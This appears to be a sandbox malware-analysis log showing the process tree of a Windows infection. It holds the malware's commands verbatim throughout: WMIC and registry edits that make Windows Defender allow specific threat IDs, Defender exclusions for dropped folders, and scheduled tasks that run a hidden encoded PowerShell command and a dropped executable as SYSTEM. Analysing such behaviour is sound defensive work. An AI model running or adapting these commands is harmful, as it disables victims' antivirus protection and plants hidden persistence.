C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &3⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"4⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True7⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"4⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True7⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True"4⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True7⤵
- Checks computer location settings
- Checks whether UAC is enabled
- Drops file in Windows directory
- Modifies Control Panel
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True"4⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:325⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:644⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NMbcPgNClKinC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NMbcPgNClKinC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\STjmdXhOU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\STjmdXhOU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YceypsUXabDXnCzNCPR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YceypsUXabDXnCzNCPR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZHcfdgyasGUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZHcfdgyasGUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gaSWcYIjjvwU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gaSWcYIjjvwU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\QPFeEjmgnBUOfRVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\QPFeEjmgnBUOfRVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\nyFjvKGtfVGLAKAU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\nyFjvKGtfVGLAKAU\" /t REG_DWORD /d 0 /reg:64;"3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NMbcPgNClKinC" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NMbcPgNClKinC" /t REG_DWORD /d 0 /reg:325⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NMbcPgNClKinC" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\STjmdXhOU" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\STjmdXhOU" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YceypsUXabDXnCzNCPR" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YceypsUXabDXnCzNCPR" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZHcfdgyasGUn" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZHcfdgyasGUn" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gaSWcYIjjvwU2" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gaSWcYIjjvwU2" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\QPFeEjmgnBUOfRVB /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\QPFeEjmgnBUOfRVB /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\nyFjvKGtfVGLAKAU /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\nyFjvKGtfVGLAKAU /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gEvjNttgo" /SC once /ST 18:47:32 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gEvjNttgo"3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gEvjNttgo"3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "xsEpqqHAgqAwsAroz" /SC once /ST 09:58:36 /RU "SYSTEM" /TR "\"C:\Windows\Temp\nyFjvKGtfVGLAKAU\PmsBVDuTBNtRlfz\BknSmgj.exe\" za /site_id 668658 /S" /V1 /F3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "xsEpqqHAgqAwsAroz"3⤵
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\vsduhsdC:\Users\Admin\AppData\Roaming\vsduhsd2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\vsduhsdC:\Users\Admin\AppData\Roaming\vsduhsd3⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Roaming\jjduhsdC:\Users\Admin\AppData\Roaming\jjduhsd2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force3⤵
-
C:\Windows\Temp\nyFjvKGtfVGLAKAU\PmsBVDuTBNtRlfz\BknSmgj.exeC:\Windows\Temp\nyFjvKGtfVGLAKAU\PmsBVDuTBNtRlfz\BknSmgj.exe za /site_id 668658 /S2⤵
- Checks computer location settings
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &3⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"4⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True7⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"4⤵
-
